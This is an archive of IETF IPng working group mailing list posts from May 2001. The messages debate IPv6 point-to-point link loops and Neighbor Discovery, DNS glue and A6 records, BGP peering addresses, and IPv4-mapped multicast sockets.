-------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 16:07:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41N7wIM002692 for ; Tue, 1 May 2001 16:07:58 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f41N7vED002691 for ipng-dist; Tue, 1 May 2001 16:07:57 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f41N7kIM002684 for ; Tue, 1 May 2001 16:07:46 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id QAA12248 for ; Tue, 1 May 2001 16:07:42 -0700 (PDT) Received: from roll.mentat.com ([192.88.122.129]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id QAA23851 for ; Tue, 1 May 2001 16:07:36 -0700 (PDT) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id QAA07266 for ; Tue, 1 May 2001 16:08:47 -0700 (PDT) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id QAA23175 for ; Tue, 1 May 2001 16:08:47 -0700 (PDT) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id QAA24507 for ipng@sunroof.eng.sun.com; Tue, 1 May 2001 16:08:45 -0700 (PDT) Date: Tue, 1 May 2001 16:08:45 -0700 (PDT) From: Tim Hartrick Message-Id: <200105012308.QAA24507@feller.mentat.com> To: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jinmei, > > 3. the only difference between broadcast links and p2p links is that we > do not need the (link-layer) address resolution procedure on a p2p > link. Thus, when a user specifies a P:A as destination, the kernel > can simply send a packet to an interface of the link, and the > interface is uniquely determined in typical configurations (i.e. the > only interface that attaches to the link). > > 4. however, this "optimization" of sending rule would raise the > possibility that the other node receives a pakcet destined to an > address that the node does not have (but that covers the prefix > which should be regarded as on-link on the p2p link). In this case, > the packet would be looped on the link, consuming its hop-limit. > > 5. in fact, we've seen many such loops in our IPv6 backbone (as itojun > described,) and wondered if we could add another kind of > optimization for the forwarding rule. > > As someone on the list pointed out, we could do NS-NA exchange on the > step 3 instead of just sending the packet. However, we did not like > this approach because it could drop some packets during the > "resolution" period, or at least could delay the arrival of the > packet, while such drops and delay should not really be necessary. > > My opinion is that this type of forwarding optimization (i.e. dropping > the packet and sending an icmp6 error instead of letting the packet be > looped) is worth considering, although it might not always be the best > choice (e.g. when someone wants to send a packet assuming that it > should be looped back for testing purposes). > > So, how about specifing this as a "SHOULD be enabled by default, but > MUST be able to be configurable" stuff? (And the default behavior > might be controversial.) > I follow the motivation but.... It seems to me that you are trying to solve a problem of your own making. You say that you want to specify P/64 so that you don't have to explicitly configure the address of the other end of the point-to-point link. I understand why you would want to do this. However, you then say that you don't want to use the standard mechanisms which have been developed for dealing with this case. That is, sending a NS and receiving an NA. You say that this is because you don't want to drop packets during the resolution phase but I don't understand how this is any different than configuring P/64 on an Ethernet. You say that the NS/NA isn't necessary but in fact it is. By specifying the P/64 you need some sort of discovery to determine what address(es) are on the other side of the link. Your special case icmp6 error is just using a negative acknowledgement to achieve the discovery. It seems to me that we shouldn't be adding more complexity to handle a case which is already handled by the existing discovery mechanisms. It seems to me that there are two choices: 1) Specify P/128 on the link. No discovery required but the address of the other end of the link must be known explicity. 2) Specify P/n where n is less than 128. Use the existing ND/NA mechanism to determine reachability of the destination that falls within the P/n prefix. I am sure that this is counter to the way a number implementations work today, including ours I think, but I don't really see why one would want to invent some other way to deal with basic neighbor discovery functions. Just my $.02 Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 17:24:58 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f420OvIM002806 for ; Tue, 1 May 2001 17:24:57 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f420OvdR002805 for ipng-dist; Tue, 1 May 2001 17:24:57 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f420OkIM002798 for ; Tue, 1 May 2001 17:24:46 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA05845 for ; Tue, 1 May 2001 17:24:45 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id SAA29599 for ; Tue, 1 May 2001 18:48:26 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id E44C34B10; Wed, 2 May 2001 09:24:35 +0900 (JST) To: Tim Hartrick Cc: ipng@sunroof.eng.sun.com In-reply-to: tim's message of Tue, 01 May 2001 16:08:45 MST. <200105012308.QAA24507@feller.mentat.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: nonexisting destination on p2p link From: itojun@iijlab.net Date: Wed, 02 May 2001 09:24:35 +0900 Message-ID: <5241.988763075@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >However, you then say that you don't want to use the standard mechanisms >which have been developed for dealing with this case. That is, sending a >NS and receiving an NA. You say that this is because you don't want to >drop packets during the resolution phase but I don't understand how this is >any different than configuring P/64 on an Ethernet. You say that the NS/NA >isn't necessary but in fact it is. By specifying the P/64 you need some >sort of discovery to determine what address(es) are on the other side >of the link. Your special case icmp6 error is just using a negative >acknowledgement to achieve the discovery. when there's linklayer address defined for the particular L2, we don't do NS/NA (from the spec). please imagine ppp, or rfc1933 tunnels. do you think it reasonable to run NS/NA in that case? then, what kind of changes are necessary to NS/NA? itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 17:58:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f420wxIM002836 for ; Tue, 1 May 2001 17:58:59 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f420wwsK002835 for ipng-dist; Tue, 1 May 2001 17:58:58 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f420wlIM002828 for ; Tue, 1 May 2001 17:58:47 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA03617 for ; Tue, 1 May 2001 17:58:47 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA12002 for ; Tue, 1 May 2001 19:22:31 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 8B25E4B0B; Wed, 2 May 2001 09:58:42 +0900 (JST) To: Pekka Savola Cc: ipng@sunroof.eng.sun.com In-reply-to: pekkas's message of Tue, 01 May 2001 14:38:36 +0300. X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: nonexisting destination on p2p link From: itojun@iijlab.net Date: Wed, 02 May 2001 09:58:42 +0900 Message-ID: <5542.988765122@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >Have I missed something, or why does this have to be done in the routing >protocol? Can't some more generic, lower level method like NS/ND work >here? when there's no linklayer address (ppp/tunnel), the spec do not ask us to run NS/ND. i guess it is not a good idea to require it, at this late stage of the standardization. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 18:00:40 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4210dIM002846 for ; Tue, 1 May 2001 18:00:40 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f4210dAk002845 for ipng-dist; Tue, 1 May 2001 18:00:39 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f4210QIM002838 for ; Tue, 1 May 2001 18:00:26 -0700 (PDT) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA03875 for ; Tue, 1 May 2001 18:00:26 -0700 (PDT) Received: from roll.mentat.com ([192.88.122.129]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id SAA25905 for ; Tue, 1 May 2001 18:00:25 -0700 (PDT) Received: from leo.mentat.com (leo [192.88.122.132]) by roll.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id SAA07712 for ; Tue, 1 May 2001 18:01:41 -0700 (PDT) Received: from feller.mentat.com (feller [192.88.122.144]) by leo.mentat.com (8.9.1b+Sun/8.9.1) with ESMTP id SAA25714 for ; Tue, 1 May 2001 18:01:41 -0700 (PDT) Received: (from tim@localhost) by feller.mentat.com (8.9.3+Sun/8.9.3) id SAA24573 for ipng@sunroof.eng.sun.com; Tue, 1 May 2001 18:01:39 -0700 (PDT) Date: Tue, 1 May 2001 18:01:39 -0700 (PDT) From: Tim Hartrick Message-Id: <200105020101.SAA24573@feller.mentat.com> To: ipng@sunroof.eng.sun.com Subject: Re: nonexisting destination on p2p link X-Sun-Charset: US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Itojun, > > when there's linklayer address defined for the particular L2, > we don't do NS/NA (from the spec). please imagine ppp, or rfc1933 > tunnels. do you think it reasonable to run NS/NA in that case? > then, what kind of changes are necessary to NS/NA? > I am imagining it. My point is, that maybe the restrictions you are placing on the solutions space don't make sense given what you are trying to do. That is possible, right? The thing you are describing, a link with a /64 assigned to it, doesn't look like a point-to-point link because one of the points is not specified. It is a point-to-(maybe multiple points none of which are known) link. This configuration kind of requires a way to discovery what is on the other end of the link. Since we already have a protocol for doing something like that discovery, namely NS/NA exchanges, it seems reasonable to look at that first as a solution rather than come up with some second order modification to forwarding rules to deal with the downside (e.g. DoS attacks, wasted bandwidth because of loops, etc.) of not knowing precisely what addresses are assigned to your neighbor. Sure it may require some textual changes to ND to allow NS and NA packets that don't have SLA and TLA options but are the code changes that difficult to imagine? Is there more to it than that? I am not positive but I don't think so. Your proposal is the expedient way to go but if a point-to-point link with a /64 assigned to is a useful thing then I would prefer to see it supported in the protocol in a first class way. Tim Hartrick Mentat Inc. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 18:28:41 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f421SeIM002893 for ; Tue, 1 May 2001 18:28:40 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f421SeBa002892 for ipng-dist; Tue, 1 May 2001 18:28:40 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f421STIM002885 for ; Tue, 1 May 2001 18:28:29 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA02115 for ; Tue, 1 May 2001 18:28:28 -0700 (PDT) Received: from coconut.itojun.org (coconut.itojun.org [210.160.95.97]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id TAA23291 for ; Tue, 1 May 2001 19:52:43 -0600 (MDT) Received: from itojun.org (localhost [127.0.0.1]) by coconut.itojun.org (Postfix) with ESMTP id 8E0614B0B; Wed, 2 May 2001 10:28:19 +0900 (JST) To: Tim Hartrick Cc: ipng@sunroof.eng.sun.com In-reply-to: tim's message of Tue, 01 May 2001 18:01:39 MST. <200105020101.SAA24573@feller.mentat.com> X-Template-Reply-To: itojun@itojun.org X-Template-Return-Receipt-To: itojun@itojun.org X-PGP-Fingerprint: F8 24 B4 2C 8C 98 57 FD 90 5F B4 60 79 54 16 E2 Subject: Re: nonexisting destination on p2p link From: itojun@iijlab.net Date: Wed, 02 May 2001 10:28:19 +0900 Message-ID: <5812.988766899@itojun.org> Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >> when there's linklayer address defined for the particular L2, >> we don't do NS/NA (from the spec). please imagine ppp, or rfc1933 >> tunnels. do you think it reasonable to run NS/NA in that case? >> then, what kind of changes are necessary to NS/NA? >I am imagining it. My point is, that maybe the restrictions you are placing >on the solutions space don't make sense given what you are trying to do. >That is possible, right? NS/NA exchange over no-link-layer-address L2 is, yes, possible. but i guess it require a lot of changes into RFC2461, and i fear it is too much to ask at this stage. for example, i guess we would need a lot of changes into wording about neighbor cache table. another thing that bothers me is, if we have a device that tries NS/NA on one end, and a device that does not on another, they won't be able to talk to each other. we saw this with "NUD over no-link- layer-address L2" already. it it was 3 years ago, i guess i was okay with requiring NS/NA. itojun -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Tue May 1 19:53:22 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f422rLIM002954 for ; Tue, 1 May 2001 19:53:21 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f422rLEV002953 for ipng-dist; Tue, 1 May 2001 19:53:21 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f422r9IM002946 for ; Tue, 1 May 2001 19:53:09 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id TAA23803 for ; Tue, 1 May 2001 19:53:08 -0700 (PDT) Received: from muncher.math.uic.edu (muncher.math.uic.edu [131.193.178.181]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id TAA00819 for ; Tue, 1 May 2001 19:53:08 -0700 (PDT) Received: (qmail 10478 invoked by uid 1001); 2 May 2001 02:53:29 -0000 Date: 2 May 2001 02:53:29 -0000 Message-ID: <20010502025329.12205.qmail@cr.yp.to> From: "D. J. Bernstein" To: ipng@sunroof.eng.sun.com Cc: namedroppers@ops.ietf.org Subject: Re: AAAA/A6 thing References: <200105011426.XAA10792@necom830.hpcl.titech.ac.jp> <20010430190948.19724.qmail@cr.yp.to> <200105011327.WAA10527@necom830.hpcl.titech.ac.jp> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk RFC 1034 does not correctly describe the behavior of real DNS caches, such as BIND and dnscache. In particular: * The RFC 1034 resolution algorithm loops and eventually fails when glue A records expire before NS records. Real caches fall back to the roots and succeed. * The RFC 1034 resolution algorithm saves information from servers that are not authorized to provide the information. Real caches reject the unauthorized information. Yes, these are differences between RFC 1034 and reality. RFC 1034 is clearly wrong in both cases: it creates a reliability problem in the first case and a security problem in the second case. http://cr.yp.to/djbdns/notes.html explains these issues in detail. The section on gluelessness includes the same type of example that Ohta is talking about now, with servers that follow the RFC 1034 rules but that can't be reached by DNS caches: espn.tv NS ns-1.disney.corp espn.tv NS ns-2.disney.corp disney.corp NS zone.espn.tv disney.corp NS night.espn.tv Ohta is wrong when he blames the DNS cache for throwing away the glue here. RFC 1034 _does not_ require glue in this situation. The espn.tv servers don't know the ns-1.disney.corp address. http://cr.yp.to/djbdns/killa6.html explains why A6 and DNAME will make these failures much more common. ---Dan -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 00:17:25 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f427HPIM003109 for ; Wed, 2 May 2001 00:17:25 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f427HO7I003108 for ipng-dist; Wed, 2 May 2001 00:17:24 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f427HFIM003101 for ; Wed, 2 May 2001 00:17:15 -0700 (PDT) Received: from venus.Sun.COM (venus.EBay.Sun.COM [129.150.69.5]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id AAA04480 for ; Wed, 2 May 2001 00:17:15 -0700 (PDT) Received: from melimelo.enst-bretagne.fr (melimelo.enst-bretagne.fr [192.108.115.36]) by venus.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id AAA19169 for ; Wed, 2 May 2001 00:17:14 -0700 (PDT) Received: from rsm.rennes.enst-bretagne.fr (rsm.rennes.enst-bretagne.fr [192.44.77.1]) by melimelo.enst-bretagne.fr (8.10.1/8.10.1) with ESMTP id f427Goe15484; Wed, 2 May 2001 09:16:51 +0200 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by rsm.rennes.enst-bretagne.fr (8.8.8/8.8.8) with ESMTP id JAA26261; Wed, 2 May 2001 09:16:49 +0200 (MET DST) Received: from localhost (localhost [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.11.1/8.11.1) with ESMTP id f427GmA31051; Wed, 2 May 2001 09:16:49 +0200 (CEST) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200105020716.f427GmA31051@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: itojun@iijlab.net cc: Bill Manning , ipng@sunroof.eng.sun.com Subject: Re: addresses for BGP peering In-reply-to: Your message of Wed, 02 May 2001 02:14:13 +0900. <2025.988737253@itojun.org> Date: Wed, 02 May 2001 09:16:48 +0200 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk In your previous mail you wrote: my bet is that link-local address (for tcp endpoint address) has the best resistance against renumber or other events, however, => this (link-local address idea) has two restrictions: - it doesn't work with off-link peers (i.e. with iBGP and multi-hop eBGP) - it doesn't work if the same address is used on more than a link (i.e. you have no scope ID to distinguish peers). there are implementations that cannot do this. also it may conflict with Francis' BGP4+ RFC (but the RFC is not too clear about separation between tcp/179 endpoint address, and nexthop values - at least for me) => no, BGP4+ is clear and flexible: it addresses only the real issue (next-hop), not the transport issue (which needs only simple properties like reachability and local unicity of the peer address). there also are IXes that use globally-reachable IPv6 prefix, curved out from one of the adjacent ASes. for example, NSPIXP6 uses a /64 prefix from WIDE. => this discussion occurs one more time yesterday at the RIPE meeting. There was no general concensus but it seems that global addresses are strictly better than local scoped addresses. Of course the problem to get these global addresses was (i.e. is :-) still open. Personally I think an address has no value by itself so the key is to route the addresses and a solution is to get addresses from ISPs (IXP members) which accept to announce/route IXP addresses (i.e. the IXP is a special case of a multi-homed routing domain). Some others wanted a special block of independent addresses for IXPs... Regards Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 03:45:27 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42AjRIM003489 for ; Wed, 2 May 2001 03:45:27 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42AjQ7x003488 for ipng-dist; Wed, 2 May 2001 03:45:26 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42AjHIM003481 for ; Wed, 2 May 2001 03:45:17 -0700 (PDT) Received: from lukla.Sun.COM (lukla.Central.Sun.COM [129.147.5.31]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA17132 for ; Wed, 2 May 2001 03:45:17 -0700 (PDT) Received: from haupia.lava.net (haupia.lava.net [64.65.64.20]) by lukla.Sun.COM (8.9.3+Sun/8.9.3) with ESMTP id FAA29782 for ; Wed, 2 May 2001 05:11:08 -0600 (MDT) Received: from malasada.lava.net([64.65.64.17]) (3467 bytes) by haupia.lava.net via smail with P:esmtp/R:inet_hosts/T:smtp (sender: ) id for ; Wed, 2 May 2001 00:45:16 -1000 (HST) (Smail-3.2.0.106 1999-Mar-31 #2 built 1999-Dec-7) Date: Wed, 2 May 2001 00:45:15 -1000 (HST) From: Antonio Querubin To: Subject: multicast IPv4-mapped IPv6 addresses/sockets Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk I've run into a problem with converting multicast applications originally designed for IPv4 to use IPv6 socket calls. Is there any set convention for handling multicast IPv4 addresses mapped to IPv6 addresses? (Apologies in advance if I'm asking the wrong mailing list - I'd already posed this question to other IPv6 mailing lists but apparently am not reaching the right people who might know the answers). Consider a unicast application program originally written for IPv4. A programmer can easily convert the IPv4 socket calls to IPv6 socket calls and just use IPv4-mapped IPv6 unicast addresses. The IPv6 socket API (RFC-2133 or RFC-2553) specifies that when IPv4-mapped addresses are used, the connection is made using IPv4. Unless it's dealing with low-level calls, the application program doesn't need to know whether it's really using IPv4 or IPv6. It just has access to an open socket. However, I've run into a problem with handling multicast IPv4 addresses with IPv6 sockets. For example, let's say I have an application that I want to convert to using IPv6 sockets and that I normally pass it an IPv4 unicast name/address on the command line. If this were an IPv4 unicast program, it might typically do a gethostname to obtain the IP address and then open up a connection. Converted to using IPv6, the gethostname() (or getipnodename()) would return an IPv4-mapped address looking something like ::ffff:192.168.1.1. The IPv6 socket API handles this automatically and makes an IPv4 connection. Pretty simple. But when it's a multicast program the situation changes, the gethostname() will still return an IPv4-mapped address, however this mapped address is not useable (at least not under Linux and gcc). If for example, I specify sap.mcast.net (224.2.127.254) on the command line to this multicast program, when it does the gethostbyname() it gets back ::ffff:224.2.127.254. But this doesn't appear to be a useable multicast address to Linux. The socket calls, up to where one sets the multicast TTL or joins the multicast groups, do work. But once I try to set the multicast TTL or join the group, the ::ffff:224.2.127.254 address is rejected as invalid. The only way I've found to make this work is to either create the socket using IPv4 socket calls only, or use an actual IPv6 multicast address to begin with. Well at least that's how Linux and gcc have been behaving so far for me. So is this perhaps a socket API implementation problem specific to Linux or is it caused by the RFCs not specifically defining how an IPv4-mapped multicast address should be handled? If this is not system-specific then it seems that the handling of IPv4-mapped multicast addresses was something left out of either the IPv6 socket API or perhaps an IPv4-mapped multicast address should be explicitly defined? For example, 224.2.127.254 might be mapped to ff0e::ffff:224.2.127.254 instead of ::ffff:224.2.127.254? Linux would accept the first address but not the latter in a multicast socket call. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Wed May 2 03:50:09 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42Ao8IM003537 for ; Wed, 2 May 2001 03:50:09 -0700 (PDT) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) id f42Ao8FJ003536 for ipng-dist; Wed, 2 May 2001 03:50:08 -0700 (PDT) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.0.Beta8+Sun/8.12.0.Beta8) with ESMTP id f42AnwIM003527 for ; Wed, 2 May 2001 03:49:59 -0700 (PDT) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id DAA17318 for ; Wed, 2 May 2001 03:49:58 -0700 (PDT) Received: from mail.users.bit-net.com (www.bit-net.com [208.146.132.4]) by patan.sun.com (8.9.3+Sun/8.9.3) with SMTP id DAA19132 for ; Wed, 2 May 2001 03:49:57 -0700 (PDT) Received: from localhost by mail.users.bit-net.com; (5.65v3.2/1.1.8.2/30Jul96-0143PM) id AB14433; Wed, 2 May 2001 06:49:54 -0400 Date: Wed, 2 May 2001 06:49:54 -0400 (EDT) From: Jim Bound To: Bill Manning Cc: Matt Crawford , ipng@sunroof.eng.sun.com Subject: Re: was a6/aaaa - RA/ND & exchanges In-Reply-To: <200105011431.f41EVhj18426@zed.isi.edu> Message-Id: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Bill, As you check this out further please make sure the early adopter systems are in fact running the new product versions shipped from several of us. If they are broken send in a QAR or Bugreport as IPv6 is now "product" on a lot of boxes. We also have implementors list for this too. thanks /jim On Tue, 1 May 2001, Bill Manning wrote: > % with "Any other action on reception of Router Advertisement messages > % by a router is beyond the scope of this document." > % > % It sounds like someone sold you a bum router implementation. > > Sold? Not so. Still working with early release code > from a number of vendors. Looks like more work still needs > to be done to declare this "cooked". > > > -- > --bill > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com 